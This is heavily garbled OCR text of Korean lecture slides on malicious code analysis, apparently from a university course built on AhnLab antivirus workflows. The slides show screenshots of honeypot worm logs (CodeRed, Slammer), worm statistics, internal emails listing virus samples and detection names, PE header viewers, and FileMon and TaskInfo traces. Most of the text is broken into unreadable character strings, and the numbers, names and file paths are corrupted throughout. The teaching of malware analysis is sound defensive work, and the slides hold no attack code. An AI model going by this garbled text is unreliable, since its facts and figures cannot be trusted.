(80,21,22,23,25,445,53,111,515,1433,27374)
_ — TruSecure is th
- SOE RS A0 08 SA DX SA WA TS A,
_ Windowsél'joq 0." }\_' %&@_ commitment 1o I
- HEZ CIOIEE 288 i | St || e | Sown |G mm| P |
— _ Ch
— TCP,UDPEZEE MEXII XNIEE = JUS B0
|Ports listed above [Beep  |Appending to log [CC'ing OFF (80
[
paE N[ W, H« QERE
=] B
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WORM CATCHER;

A0 HO0IE X2
— CRCE 0183101 J|= GIOIEI 2 HI
_ DBE U0IE oM AL 0|SS A28
~ 44IE i3 CIOIEIS LEH9I2 HEE
« 0 MetM StECIAIN HNEE HIOIHE OI E
- JIEN SATUS B2 MY MSOZ LIS 225
_ ME2S HEE A4S S R0 HYS 22

27 aza,
£1. 04242003 16:18:18:281 0. Match. 3318, CodeRed F. 220.76.95.
26 04.24. 2003 16:37:15:226) v2.1 0. Match, 3818, Co F 220120 200 2
04242003 16:49:51:263 v2 1 | Match, 3818, CadeFied F. 220.120.150.5:2960. 164951263
7. 04.24.2003] 16:52:29.457, v2.14, Port0. Match, 3818, CodeRad F. 220.120.206.137:1626. 165229457

“ | o

Siet istening | Stoplistening | Gut | Gonfigure | Check for upgrade | FAlequest test probe | About

|L_

Bl NE

2003-04-24

hwangkb

 08:34:17:307. 04-24-2003, 17:34:17:307, V2 14. Port80.
e .. 192,168 001 avpc
:92:29,001 04-24-2003, 17321291001, V2. 14, Portg0.
192,168,001, avp
| 08:22:26:355, m 24-2003, 17:2226:355, 2. 14, Porta0.
mzwsam

hwangkb 2003-04-24 1577

hwangkb 2003-04-24 1378

FroanorE T8 T
f;;‘%%ﬁznzz‘zws.saq o6 T a0 454, Bignon 5.0,2195 2.5,
Frovangke TS 20 T LR 2 IR 5T V2 T4 Paree
Molera Immediate. . . 192, 168,01, avpc
o amage Twengkl 2005-04-24 1576 04-24-2003, 07:43:51:263, D4-24-2005, 15:A%51:263, 42,14, Purtis0.
Mess Immediate . 19216801,
O DixzEs hwangkb 2003-04-24 1378 pa-24-2003,
Immediate. . .
hwanakh 2003-04-24 1376 2

19-24-2003. 07
Immediate. ..

c - Lotus Mates

|, 17:34:17:007. v2, 14, Porti0D, Immediate, . . 192,160,0,1, avpe ]

<hwangkb@ahnlab.
com>

2003-04-24 05:44 PM

=
ST =om=d B=5

] | ZTOnel A

Parts listed above Beep  |Appending to log [CCing OM (80 5 r =
3 =2}
© &Y.
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WORM CATCHERs

mE BEE) 20 SHSIA EUD ESTH

|@$|§ - = - @ 2 Gﬂ A G =As? @0Ino 3\%v§-]§|

| #2401 [@] http ./ wwwr. wormwatch.org B EEEE
formatcher Apnl 2003 - Fillered pors and worms for The day

April 24, 2003 &5 &t 04:48:24 EST - 17 IPs reporting
hittp: i ssvormiwatoh org

26 WE2SgISlammer
B 1 4 Codefed F

I 13 WS2iDeloder pro
B GO bytes 21

B S SolSpidaD

5 0 bytes: B0

3 Unknoverca0

3 0byles:25

3 Obyles22

3 Obyles111

2 0bytes 445

2 0 bytes: 17300

1 W32Mimda gen
Unknowrn: 6588

1 Unknoven:21

1 Simple HEAD

1 Simple FTP prob
1 FTP PASS sttemp

1 CONNECT attempt]

WVI2/Sg|Slammer

CodeRed F

VWaZDeloder pro

O bytes:21

SoilSpida B

0 bytes:B0

Unknown: 0

0 brytes:25

0 bytes:22

0 bytesi111

e

© &g,
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X2 HP S8k

AUTOMATION

— A SXZ A2 M XSSt

— Ctst iAo S&E XSSt 822 M HAEL HONEYPOT
S0l Bgd

— OIXIZS CO|MIAE £ Ql= HARIZ0ILL EAHO ERE

— Ahnlab 2 MicrosoftOll A 22 &

e Ahnlab —V3Genie Sysem22Z & A H Major= Al WS
EXFAESHEH L XS HUOIE, S SHOIX H
2 2F), 8 A4HEELN R0 222
* Microsoft — 844l BIX| 02 S PHA HASIRUSS LIEE
Scan-O-Matic Ol &t 0| 22 L HE
— Ahnlab2| VBS, HlAIXI& 2] VirusEyesT XS 3HAIAE Q| 5tLt
ZEEFUB

o| nou
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I|: O=|__|_!. EB#:; x|: O=|__|_l EBk4
sl S S (3) |l d S S (4)
SANDBOX ANTI-SPAM
_ OMPCZ oML MES oS SHHNAN HIAES — HIOIAALI 0l HEYEZE RYT=BRIES
— ANZdI0|&E JIHES 0| SE (AN AHAl I8 201 ) - B HZOI =S NSRO2 HAGH0] d+8 ReE
S sHAl 3| A 12251 9JS - J|o 2R Y M2 2ot & -T'-EFI}II 2ag /g
AT ° — MHO X T= A0 ANTI-SPAMIIS2 205t SAl M2IS JI0HEH(Ww
- BEMH=EAER ZZ2 ]2 IMPORT TABLES| &+52| &5 Hatat MOI —.—(\_51 Hs B Aetes J1s0l ~l.=)
HE S&t IS 2240] 2018 - StHAES BHAIO IS ANTI-SPAM S| D|sE2 S§8X22 8861,
_ A.IH o St A O D_I_E_EE I-UHA‘_O BE" =_]’¢EH9
— Ahnlab2 ZL IMPORT TABLE £ CZ2 HXE 222229 & ,*a@ﬁ,"”.gi;.;; gg)*’c’o' aB(as 2as shishl, 28es
= — 0 cC
=LH0l At2EQI APIE &2 2 UHE50 242 0I5t &
S22 JHH(AEY XCHE)
1A64 - UHESRD AUAN L2 S 0|86 XY _Aets=29 £F2 Fot, 1
— INTEL 9| 64bit Architecture@! | A64(Itenium2)Jt XH 28t Windows Ol 3==0f Zch =8 —IDSLE FIREWALL 1t 22l 2EHQ SHE N A
+
XP 64bit B2 UMl S+ DE SH 04 17 ohor = il ChEt ol _
o e - UHEQINNAN ZE WS 201 HZ2ISESIEE IIY EEHZ M= A2
dIXAESZ 1 L OSEHE XOIZ J|EALHIDE S& E&84! HEHD SE2M6t L AHSHKGH elD HIESI
— OlOIHILIZ #Hl= &M 200t HZE 1, 0ot — CRCLIINTEGRITY CHECKING(& TEHA| 0|2)2 A28 4= g
- HHNESZ AV+HIDS+HFIREWALL EEHE D& £ US.
ICE1212 - Malicious Cod ©&nd. 65 ICE1212 - Malicious Cod © &y 66
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¢ C-Style Function List on Win32 e Header Information( V3 File Analyzer
y y
«Win32 It 0fl CHEHO] &~E FE811, & AAE API 24 <AHXINAM S I UiStAIH 24 328 EHE
e (] MY S 2AEGH AIELAX 0| JIsE X ERS FR HZU EHE
I x| 0
ADDRESS | Mo | EMD ADDR... | RELATED | FUNCTION - duEntryPointRUA : b720 A
0«010018CF 1 OWOO01AE2 [0x10018F JKERNE L32/ G etLocalelnfct G RV IS Gty
O:M001AE3 2 O«01002238 35 [0x1001BE6)USE R32/G et enu (0100 oAt G000
0401002239 3 Ox0100249E 34 [0x1002330JK ERMELZ2/ Istrepd (0310 dulnageBase o LLIEU
0:0100248F 4 0w0100299D 2 [0%10024AD0)USER32/PostQuith essag duObjectAlign : 1000 [
0WIIO0299E 5 DwW0N002830 27 (0100296, 7)KE RNEL32/GetCommandL duFileAlign Gty
001002431 6 00100204 (0100255 )KERNEL 32/1strempt (01— dulnagesize : ledon
0:01002CF5 7 Ow0M00206D (0100201 F KERMEL 32/Localdlloc [0k duleaderSize L
0M0100206E 8 Ow01002DED (01 002D AFJUSER 22 Awspringfad (0100 duChecksun 20
0+002DE1T 9 (x01002F00 01 002E 3E KERMEL 32L ocalLock [0 LA AR L Al
OAOI00ZF0T 10 DwO10030FS (041 002FE7IUSER32/GetD altam T exfi -
0:010030F6 11 OWOMOO31SE 12 [0 003 SFIKERNE L32/5G etProcéddre: duUEntry(FPtr) g el
O:0100315F 12 OwIMO031ED [0 D031 AR ADVAR 32/Fregl penk eyE ,
O:000F1EE 13 Ow000344C 17 (01 003205] SER 32 /PeekMessageiy Hemory i
W ey e ae 3 S :10 E:;E N:MEt uug;::;; a1§;:e uagFa:Sa;; 3121[1;&3 6Fa:|aagaza EXEC (readable)
* .L[ex C readable
g”g}ggi?_\g—u }g g:g}gg%‘;gg }g:}gggg?ﬂﬂggEggjg:tgm‘;ﬁgx?uv 02 DATA .rdata 00013000 001604 0OB13000 002000 40BOPALO (readable)
<I I » 83 DaATA .data 00015000 8654b4 0OO15000 004060 cOOOBO4E (readable) {(wri
84 DATA .rsrc @8e1bAAA 0B2568 0OO19800 AA3GAA L4OAABBLA (readable)
Frevious | i (= | Wiew | : ;ld
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Information and Communications University Information and Communications University




AUTOMATION3)

* Header Information( V3VIEW )
-V3GENIEJ} =45t olIlZ-I P Ea’

eB8 lMHGE_DIRECTDR\'_ENTR\'_GLDBRLPTR 8z 000000800, 8x 00000000 ;I
BCO IMAGE_DIRECTORY_ENTRY_TLS 8z000000008, Bx 00000000
8C8 IMAGE_DIRECTORY_ENTRY_RESERVED 8z 000000800, 8x 00000000
808 IMAGE_DIRECTORY_ENTRY_RESERVED 8z000000008, Bx 00000000
@08 IHWAGE_DIRECTORY_ENTRY RESERUED 8x008813808, Bx 006880208
BE@ IMAGE_DIRECTORY_ENTRY_RESERVED 8x00000800, 8x 00000000
BE8 IHAGE_DIRECTORY_ENTRY RESERUED 8x000886808, Bx00AR0080 J
@F8 IMAGE_DIRECTORY_ENTRY_RESERVED 8z 000000800, 8x 00000000
HMemory File Reloc
Ho TYPE NAME Offset Size Offset Size Offset Hum Flag
a-8 H 8 all 18 18 10----22
@F8 81 CODE .text @oo61060 01176C AOOO1600 G12000 0OOOOOOD POOOOO 60000020 EXEC
128 82 DATA .rdata 80813068 AA1694 AOA13068 AB2AA0 4 (rea
148 03 DATA .data 00015000 005484 G0015000 G04080 [ (rea
178 84 DATA .rsrc 8081BABE B82568 60019808 BO3080 L {rea
Import Function(s)
No. FuncHo FPEF wEntry DLLHame/FuncHame -
Al il
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AUTOMATION)

AF T3 FE AL TS - Lotue

MHEE) BEE) S0 S0 S8 SEW

-

A BRM - DM L8 > Kay B, Hwang - Inbox |J <20021105 02:01 ST#R,.,  |dza-@w@, |1 <mooziosoel,,,

:ungmnr-hnlab.n
m

P002-11-05 08:19 AW gz o0

ENGSWCOIH #1510 B B TR Al
ST P T TS ENGS WL oF B2 A ke

AL nl!(cr!ul!)
obbit D-mm 12
wc.rm wme‘.za ide

Backdoor Neodurk. Backdoor, Neodurk 10 [4P ], Hew BsckDoor2 [Mcdize] Navembsr
i Backdoor, Clgivp.Bsckdoor Claivip. 10 TAWP], Mew BackDoor2 [McAfee]l Movember
2002 Il 0’\ 07 EBSymsnch W2 Brid. A2mm.PE_BRID.A [Trend].

BO0Z 11,54 07.08 M WAZABrAld@MIA Mirus Flls Infsctor 4233 Low-Profiled Low-Profiled
2002110312 |qmt;(‘| BB et Do S0
20021 OB F-Securs  Haluis

Zo0 11 01 2 18 lasa A FrLfGreeting-Card D, 1153
20021101 1008 Meden  UNEExploi-Fogue ,Trojan Exploit 4228 Low Loy
Z002.11.00 10.05 Fong [Meafza], WORM_SPONGE. A [Trend) Octaker

u
<]
o
[
-]

WWEZ Appik.D. o, Octob,

2002.11.01 010 Mealee  IRC/FOoS-ShowDown . Trojan Denial OF Sve 4186 Low Low
EML/Greeting-Card.c,112

WE2/O0ror-8 Descriplion oror-bide

Backdoos, Floodnat Backdoor Floodnet [4VP] November
Fysieal Antigen. Trolen. ESW Snigen o [AVPT, antigan, g [MCNEE'J e

MbOZ 05 =201 Ol &

MS05 000 SOL Sanar B Bi)
MSI2-060 Windows 5P & &2

[Sophos]. Win32 Brald & [CA]

T=o Ned
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AUTOMATION 5

N [l 1
[+ Sub FileMarne Ix_x

SCANTYPE WDOS IV wWiIN32 ¥ wiIN1E W ELF W PRC WSCRIFT [V MACRO[ [~ FORCE )

TOTAL  Infected [ Cure [ Delete [ Unknown Ext. [ Momal viame |<NONES

IVSEYES 'I W &l Scan Id:\volZ\sample\user\psy

681 62 il 45 6 0 619

JASAMPLESMEWYIRUSHFILESSKNDW THE Law YEESENCODED 09:32
Filename | w3 |_F-PROT |_avPaz | vIRUSSCAN | F-SECU =
1MFO WES YBS/nfo VES/CTK —
E108315H. tat
ketamine. EXE W2k A etam
nuzbee.elf Linus/MNuxBee....
NOTEPAD.EXE W32 Trion.A WaAZHLLP 41,
ColdFlay.shs

FHH GHE T ene

BEF4063E. ktrn

ABDULLAH exe

Iwform. Filiz. HTH HT L AFilis
1*wiorm.Heather VB S

I orm. M ewman ¥EBS

I orm.Fila. 5HS

I4wform. " ama b HTM

«

3D: 2002.10.30.00
Curedll | CureSel|  Coppell | Copysel| OPTION| FOLDER| mMaiLTO | ST

© &g,
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AUTOMATION )

021105 00D > JWsample¥WHe w) Lotus Notes
MHEE) WREE) WY B0 S8a) SEUH) ¥ o
[ mramerach  sw @A - £ Kay B, Hwang = Inbos |2 <Fm021 105 |E#a: s |3 comnRioso:). (L0 <Em2iin. X
= > n M5 s
\) 2002-11-06 1113 PM
161 e e e =

R TWialler: CSMTPConnecHon v2. 17
@d| ME-version: 1o

Contari-type: ma boundary=" Pab EErEaGac
Contant- TransiarEncading: Quoiad-pIMEDIS

This Is 2 muli-part message in MIME format

g Contani-lype: Text/plain Conent- Translar- ENcoing: quoled-printskle
o <m0z 1o osi08 > s amplee ST
HEHUE TS BOI U= TR O HAIEIHE S Ch
=] Fat- =
VEDESUG THE B i elas

(] E108I2SH.ZIP
[v3] YBS/nfa [FPT] VBS/CIK [SWP] VESAnio
[VAT] VBS RTFInc (PSN] VEBS_INFO.A [KAV] VES. Vouan
[PA\I] VES/HTFJ o NESATFIRD

[\I'SJ \JBS/Info [FPTI VBS/CIE [SWP] VES/nfo
[VAT] YBS.ATRNo [PSN] VBS_INFO. A [Kai\"] VBE. Vovan

=

[P&y] WYESATHMD MEE/H TR
»INFO=1.ATF

[WEN] VESAnfort [SWR] VBSARI [PEN] VES_INFO.A
> 1MFO-2ATF

[WEM] WESAnfort [PEN] VBE_INFOL A
~3LPR.ZIR

[+ FINARISH 710

TSI B e ST e sl

=

0y
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P <20021104 17:46 ASEC START> D:WVOLZWsampleWtoday™ - Lotus Notes (= =1E3]
DHYE) BEE) 27108 IS0 S84 ZS2H) 37 @
O srorar oy, Aw BRAEE - & Kay B. Hwang - In, L3 <e0021105.., |33l s |3 <20021 105 08: 1 L] <20021104 17... <]

g L Ey o By =g
ASEC boaglO0d@ahnlab,com. hwangkb@ahnlab, com, hepark@ahnlab, com, jsjung@ahnlab,com.
%) <engni@ahnlab.co i m m
m> -
!'xu 2002-11-05 07:50 AM
<20021104 17:46 ASEC START> D:WVOL2WsampleWtoday™
@ V3DEBUG FileScanner Path=0 WVOLZWSEWD\EW“Dday

@l veoeBuG e mEr EDieAs

= [-] E21 1D44H.ZIP
[val Ludwig. 2776

ol M= AE o2 2ehH 2lHet=2
=ED

LU EX PRl HRIERl 22522

@ ->IBM_FX.BIN

[val Ludwig. 2776

[-] E21 1DIEB.ZIP
~>README.EXE

[-] E21 1D4RE.ZIP

--- USER COMMENT ---

AVP---—> Wing5.Dupator. 1503
—--->W32/Dupator. 1503

>W32/Dupator
->SYSMONIZ EXE

[=] E21 1DAWE. ZIP
->README.EXE

| Al RREZ EEE S

R

- © &Y.
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- 52
g fr
A =

I}
o
Mo
2
i
Al
&
0
=

. © &Y.
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¥ v3Pro 2000 Deluxe
|M°'(F) HINM TP TSEHH)

J C3 | ‘ = g | ¥
SE FAL AIZE ZA BIEY w 24| MEE  mEEm  oH0E | =aw
IER D 0l I
B — g |
i@ 3 5T RS 4N B
oE| B | = asan|
=% H2ay A IHA SRS
¥ AE Al WE S0 I = ERS DI EES
HEEN DT RS o =i
IS
: ] STHA) >
e I HIOIR S g N 2 _ << MFID)
(5 Chapter0s FH AL
I HIDIB A B A e
=& 2N S 220 (& LOGCACHE
i RSB -}
v omMz g™ oMzl | s | 3
& [RPTES R HETT R _
™ Bl GEI
o] -
el | CES T | b

I Gr= mol - 2ok

5 RS
_‘BM_Z‘flL}?l"H'l“EH'A"_o—n = =3 ‘
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SAE P

TaskIinfo20022| & &

— TASKS| M&t&t 9| XI(Path)2t A3 SEE & £+ U
- ZZANAECHAE 0|80t0 CIHA Itsot=S &

— ANAE 2E(CPU ¥ DriverS) 2} 8010| IR S0I8

— GUI(Graphic User Interface)Jt OH FIO LI, AlIZA S 04Dt S48
- SXIZ2ES X0t X & AIE0| 808

E’ e __I','(1)

TaskInfo2002(Igor Arsenin)
- B AIABC =2 FEE Ol IISS(EA0IH, ZZ2MA, 28, BREN)
— http://lwww.iarsn.com/index.html

IJ|0

=lolx|

File Edit Miew Preferences Registration Help

A Process System | CPU. | All Open Fies | Diive 4 TR ]

TaskInfo20022| &HA — AlAE

i+ Consols IME i CPU Clock MHz 1500 I NS
o N g=0l o mo|8t A 1o + Mictasalt (R) Des e s %CPU I13% %ide
ZZHIAJLAS DEE HOE QS 22 \IRENIE 03 0 CPUs Nurber 1 Queuse for CF <
I\I = fud A o =os A OIS [ I Processes 42 Threads
- HEO T2 A AHIAQ HR S8 =18 L Thiead Swfs 365 HWntsts
- rinotes exe 3 Tolal PRKE 523760 Fiee Ph KB
- (B2 -Lous 3 Fie Cache KB 73344 File cache pe

Fre

™ Z2HA S 48 THREAD

Copyright Protection - Thisad 0
. . - Thread 1]
Shareware Software(Registration fee, $35/copy) it 0 E:gz;i"';g’; 3
= Thiead It} Fils Read KB/ 2 File ‘w/ite KB
1

|+ nhidaemn. exe ,L Filg Reads/s 33 File Writesds
2
Total time used by process or thread /A
=] Sl
ICE1212 - Malicious Code ) oA, _— 77 ICE1212 - Malicious Code ) ogrd. _— 78
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T

Bl

Tasklnf02002__l &
— TASKS & &t 2 Xl(Path)2 &8 HENE 2 &
- ZZHAE CHHE 0186t0 CIHE JIsdtES &

Eile Edit Mew Preferences RBRegistration Help

o)
oo

XA & s R

- ¥ Sysh 4| »
~ NAE BR{(CPU R DriverS) 320} &0l0| 0§ S0I& e e | S O
- _ + M E = CPU Clock MH 01 -
— GUI(Graphic User Interface)lt 01 FI0{LILD, AIZE S0 -8 L+ Tray lcon B
- &Xx T2 XJASHH X1 & AHE0| 201 8, BHE 2 0.04% ool gPusNumber 19
. : OCEZZES
|3+ whl zervice exe h.0u3|_ng i i . Thiood Srfs 33
+ Tasklnfo2002 Application 9.27% 2.42% 0:1C Tatal Ph KB 261,580
T+ WeD NTKERM 0.26% 0.62% 0:0z Free PHKE 162,756
TaskInfo20022| &t& &9+ File system monitor 0.04% 0.06x 015 || FileCacheke  42.084
I A 20| DES E0I8t A 92 + Fiegisty Monitor 008 Free Vit KB 2,198,908
— ZZHAIIAIESC 252 E0I& £ 8138 g+ ProcDump32 - PE unpacker/de 001z 0z tax Swap KB 2097 152
5 i e . P Faults. 3
- N% IO Z2AAJ HHIAC A E2E 4 918 [ FLEEE B 00| Pogelrskers 0
- Thread 0:0z Free GO % a4
H H + Microsoft Pain —5#4! 8H Zp.@i—] | FAT ReadKB/s 7 -
Copyright Protection %’ FLCSSI} THREAD 1Eea 2 gt | _>l_|
Shareware Software(Registration fee, $35/co e |
(Reg Py) Long Time Awverage Percent of CPU used by process or thread i
K| T | T
i
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=M E s

FILEMON/NTFILEMONS| Z 4

— @S(Behavior)S ZLIHE & = US

— B0l A2 B fOpen->fWrite->fClose2 WA 0| BIEAl UAS
- It &3 AMAS S0 HEotH 2HH6HH 8210l Jts &t

FILEMON/NTFILEMON

— HiOl2I A0 28 I 2ted AAA DLIHE

- QEYUES SolM P& = A= Z2IB(BM 2ZEO)
- http Ilwww .sysinternals.com/ntw2k/utilities.shtml

= = (=)
— il - DRI CHIA SLRS NI ANAS HOI8 £ US
Fie Edt Opions Drives Help -
= = = O =2
d | RBE®| 27 | A& - B AMSO Z2OME Y AMAS EHOIE A
O T e e — g - [Path = oElze =5 ol = MNEHOoI S22 Q5= T 24 o 210|&F A
il 43499 intematexe:1048 IRP_MJ_CLEANUP CAWINNT\System32iimek - E!E‘I = 90}01 |dle HOLE2 5= T2 0| AN ADHEOIS
7 4399 intematexe1048 IPP_MJ_CLOSE CAWINNT\System32yimek =)
el 4349 FILEMON EXE1086 FSCTL_IS_VOLUME_MOUNTED  ‘engswiisoftware$iMonitor =]
74 A0 FILEMEbERE AT i H\M@mﬁgm =/1T A = - = o o
i Siede riewoneeios || Fevcieats e Ol S(EZAL) - AAENBEOZ B0 2LE JISE ROHE £ US
i 4349 FILEMONEXE:1086 FASTIO_QUERY_BASIC_IlIFO HAMOnitatNTFILMORFIL
” 4349 FILEMON EXE: 1086 IPP_MJ_GUERY_INFORMEETION  HiMonitotNTFILMORAFIL
8 4349 FILEMON EXE:1086 IPP_MJ_CLEANUP HiMonitorNTFILMORKFIL
79 434 FILEMON EXE: 1086 IRF_MJ_CLOSE HiMonitoNTFILMORAFIL o SIX™
80 4349 FILEMONEXE:1038 FSCTLIS_VOLUME_MOUNTED  ‘engsviisoftwaresiMaritor F”—EMON/NTF”—EMON—J X‘”‘&l':n
81 4350 System® IPP_MJ_YWRITE* C\Ducuments and Setting _ - - - ) -
8 A2 systems IRP_MJ_WRITE - D} II-D-I( ) — I Mg AL 2t X QI AN (Write HIES S)S &H0161HD c
& afez  Systemt 1R J_ T l'% E READ/WR'TE }é —|k" 9]’ |_E\_ —_rl ‘"ﬂu_ I'g( Hooo)E | O‘I :‘E
84 g5 Systems IPP_MJ_WRITE Ci$LogFile
85 4ds2  notepad.exe972 IPP_MJ_CREATE CAWINNT\FONTSIHVGAI
86 4d52  notepadexe972 FASTIO_QUERY_STANDARD_INFO  CAWINNT\FONTSIHVGAI . .
a7 4q52  notepad.exe1972 FASTIO_QUERY_BASIC_IlIFO CAWINNTFONTS\HVGAI Copyl’lght ProteCtlon
88 4352 notepad exe1972 IRP_MJ_QUERY_VOLUME INFOR...  C:UWINNT\FONTS{HVGAI
89 4dse  notepad.exe 972 FASTIO_QUERY_STANDARD_INFO  CAWINNT\FONTS\HVGAI _
90 4d52  notepadexe972 IPP_MJ_CLEANUP CAWINNT\FONTSIHVGAL_| Freeware
awl 4352 notepad.exe1372 IPP_MJ_CLOSE CAWINNT\FONTSIHVGA|
1 - 3
- © &Y. - © &Y.
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File Edit Options Help File Edit Options Help

| QBEE (D | «2 | M3 H | ABE (3| <2 | ¢4 |
| F'ath | Reszult | Dth_,e;r“ ;I ll'r.n'g | Process | Hequest | Path ;l
C \F'FEDGFEAM FILES\MICHDSDFT VI... SUCCESS HCw.EXE 2 11.22:08 Flcss FlndNexl C: \LDTUS\.NDTES\" *
C:APROGRAM FILESSMICROSOFT %... SUCCESS HCw. HLF 2 11.22:08 Flcss FindMext CALOTUSANOTES
C:APROGRAM FILESSMICROSOFT %... SUCCESS HwDLL.DLL 2 11.22:08 Floss FindMext C:ALOTUSAHOTES
C:APROGRAM FILESSMICROSOFT %... SUCCESS MMAKEHM.EXE 2 11.22:08 Floss FindMext C:ALOTUSAHOTES
C:APROGRAM FILESSMICROSOFT 1. Setbibibut, 2 11.22:08 Floss FindMext C:ALOTUSAHOTES
C:APROGRAM FILESSMICROSOFT 1. DPENEKISTING READWRI... 2 11.22:08 Floss FindMext C:ALOTUSAHOTES
L: F'F!DGF!AM FILESYMICROSOFT \u"l 2 11.22:08 Floss FindMext C:ALOTUSAHOTES

2 11.22:08 Floss Altributes C:ALOTUSAHOTESSHLMOTES . EXE

C: F'F!D FHAM FILES\MICHDSDFT VI... 2 11.22:08 Floss Open C:ALOTUSAHOTESSHLMOTES . EXE
C:APROGRAM FILESSMICROSOFT ... Offzet: DLength 8192 = 11.22:08 Floss Seek CALOTUSAHOTESSHLWMOTES EXE
C:APROGRAM FILESSMICROSOFT ... Set Creation = 11.22:08 Floss Seek CALOTUSAHOTESSHLWMOTES EXE
C:APROGRAM FILESSMICROSOFT ... Setdccess = 11.22:08 Floss Seek CALOTUSAHOTESSHLWMOTES EXE
C:APROGRAM FILESSMICROSOFT *.. 5 = 11.22:08 Floss Fiead CALOTUSAHOTESSHLWMOTES EXE
C:APROGRAM FILESSMICROSOFT *.. (o] O.I /\_l C OI ==} = 11.22:08 Floss Seek CALOTUSAHOTESSHLWMOTES EXE
C:APROGRAM FILESSMICROSOFT *.. AN = = = 11.22:08 Floss Seek CALOTUSAHOTESSHLWMOTES EXE
C:A\PROGRAM FILESSMICROSOFT ¥... SUCCESS Setattibutes = 11.22:08 Floss Seek CALOTUSAHOTESSHLWMOTES EXE
C:A\PROGRAM FILESSMICROSOFT *... SUCCESS OPEMEXISTIMNG READWHIL... o 11.22:08 Flozs Fiead CALOTUSYMOTESAMLMOTES ExE —
C:A\PROGRAM FILESSMICROSOFT *... SUCCESS Beginning Offset: 0/ Mew of... |« 273' 11:22:08 Flozs Seek C \LDTUS\NDTES\NLNDTES ExE

L [» L] i 3| Jj
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onitar - 5 & Fi onito sinterna
Edit Qptions Help File Edit QOptions Help
& ABE & =2 | ax B ABE e 25 | Az
# | Time [ Process [ Riequest [ Pat Fesult Other - # | Time [ Process [ Request [ Path [ Resut___ [ Other -
(L=l el 1) FrOLOSE ™ =TT TRTErTar :15§ T TNOr TSTE o TLLE [ G ET T v T T WY
37097 =2 114376 e Delete CAPROGRAM FILESATOKEN 25KEY..  SUCCESS 209 = 114747 Internat Seek CowINDOW SASYSTEMAMERRDBU ... SUCCESS Beginning Offset; 12 / Mew
37098 =4 11:43:16 el Findhext CAPROGRAM FILES\TOKEMN 24 SUCCESS RICHED20DLL 210 =2 114747 Internat Seek CowINDOWSASYSTEMAUMEKRSEU | . SUCCESS Beginning Offset: 0/ Hew
37099 =2 114316 e Abtributes CAPROGRAM FILESATOKEN 25RICH... SUCCESS Setbttributes 211 = 114747 Internat Read CowINDOW SASYSTEMAMERRDBU ... SUCCESS Offset: O Length: 81920
3700 =4 11:43:16 el FindOpen C:APROGRAM FILES\TOKEN 24RICH . SUCCESS RICHED20DLL 212 =2 114747 Internat Clase CowINDOWSASYSTEMAUMEKRSEU | SUCCESS CLOSE_FINAL
370 25 11:43:16 77 FindClose CAPROGRAM FILESVTOKEN 2ARICH. . SUCCESS 213 23 114752 7 FindOpen CHEDIT 777 NOTFOUND
302 22 114376 e Delete CAPROGRAM FILESATOKEN 25RICH... SUCCESS 214 =23 114752 e FindOpen CowINDOWSAEDIT. 7797 NOTFOUND
37103 =4 11:4316 el Findhext CAPROGRAM FILES\TOKEMN 24~ SUCCESS Token DAT 215 =2 114752 ekl FindOpen CWINDOWSACOMMANDAEDIT 277 SUCCESS EDIT.COM
37104 25 11:43:16 77 Attributes CAPROGRAM FILESVTOKEN 2ATOKE. SUCCESS Setdttributes 216 =23 114752 7 FindClose CowINDOWEACOMMANDAEDIT ?77  SUCCESS
37105 =7 11:43:16 kxxd FindOpen C:A\PROGRAM FILESATOKEN 2\TOKE.. SUCCESS TokenDAT 217 =23 114752 kel Directary CowINDOWSACOMMANDAEDIT.COM  SUCCESS
37106 2 11:43:16 77 FindClose CAPROGRAM FILESVTOKEN 2ATOKE. SUCCESS 218 23 114752 7 Open CowINDOWEACOMMANDAEDIT COM - SUCCESS OPENEXISTING READOM
IA07 2 114376 e Delete CAPROGRAM FILESATOKEN 25TOKE., SUCCESS 219 =23 114752 e Read CowINDOW SSCOMMANDLEDIT.COM - SUCCESS Offset: O Length: 64
37108 = 11:4316 el Findhext CAPROGRAM FILES\TOKEMN 24~ SUCCESS Token2 chm 220 = 114752 77 Clase CowINDOWSACOMMANDAEDIT COM - SUCCESS CLOSE_FINAL
37103 25 11:43:16 77 Attributes CAPROGRAM FILESVTOKEN 2ATOKE. SUCCESS Setdttributes 221 23 114752 7 GetDiskinfo C: SUCCESS Free Space
370 22 114376 7Y FindOpen CAPROGRAM FILESATOKEN 25TOKE.., SUCCESS Tokenz.chm 222 =23 114752 K Attributes CowINDOW SSCOMMANDLEDIT.COM - SUCCESS Getittibutes
37111 =3 11:43:16 77 FindClose CAPROGRAM FILESVTOKEN 2ATOKE. SUCCESS 223 =3 114752 7 Open CowINDOWEACOMMANDAEDIT COM - SUCCESS OPENEXISTING READW
32 22 114376 e Delete CAPROGRAM FILESATOKEN 25TOKE., SUCCESS 224 =2 914752 e Seek CowINDOW SSCOMMANDLEDIT.COM - SUCCESS Beginning Offset; 0/ New
37113 =24 114316 el Findhext CAPROGRAM FILES\TOKEMN 247 SUCCESS  _DEISREGISR 225 =23 114752 77 FRead CowINDOWSACOMMANDAEDIT COM - SUCCESS Offset: 0 Length: 64
37114 25 11:43:16 77 Attributes CAPROGRAM FILESVTOKEN 24_DEI.. SUCCESS Setdttributes 226 =23 114752 7 Seek CowINDOWEACOMMANDAEDIT COM - SUCCESS End Dffset: 0/ New DYFSEIJ
37115 =2 114376 e FindOpen CAPROGRAM FILESATOKEN 24 DEL.. SUCCESS  _DEISREG.SH 227 =23 914752 e Close CowINDOW SSCOMMANDLEDIT.COM - SUCCESS CLOSE_FINAL
37116 = 114316 el FindClase C:APROGRAM FILES\TOKEN 24_DEI.. SUCCESS 228 = 114752 77 Attributes CowINDOWSACOMMANDAEDIT COM - SUCCESS Setbttibutes
3PN = 114376 e Delete CAPROGRAM FILESATOKEN 24 _DEIL.. SUCCESS 229 =3 114752 e Open CowINDOW SSCOMMANDLEDIT.COM - SUCCESS OPENEXISTING EXECUT
37118 =4 114316 el Findhext CAPROGRAM FILES\TOKEMN 247 SUCCESS  _ISREG32DLL 230 =3 114752 77 FRead CowINDOWSACOMMANDAEDIT COM - SUCCESS Qffset: 0 Length: 26
k) - ol “ P j— 231 i’;i 11:47:62 7 Read CowINDOWEACOMMANDAEDIT COM - SUCCESS Offset: 0 Length: B5280
3 O|lSL 1T < B R —) 232 =28 {14750 o Flaen I AN E A AP ENIT F £ RCEEE I nCE Einja]
3 IVPO" ——Ion_l'-U-I'E BT = EmE 233 23 {1475 o|st Tlol "RAaA=S o = TING READOM
3o . . . . . 23 = 11475 SYSTURBOO| QJ&t Il 22 BHS ot 64
: NI& 2 2 FindFirst->FileOpen->FileClose->Delete->FindNext i _ s
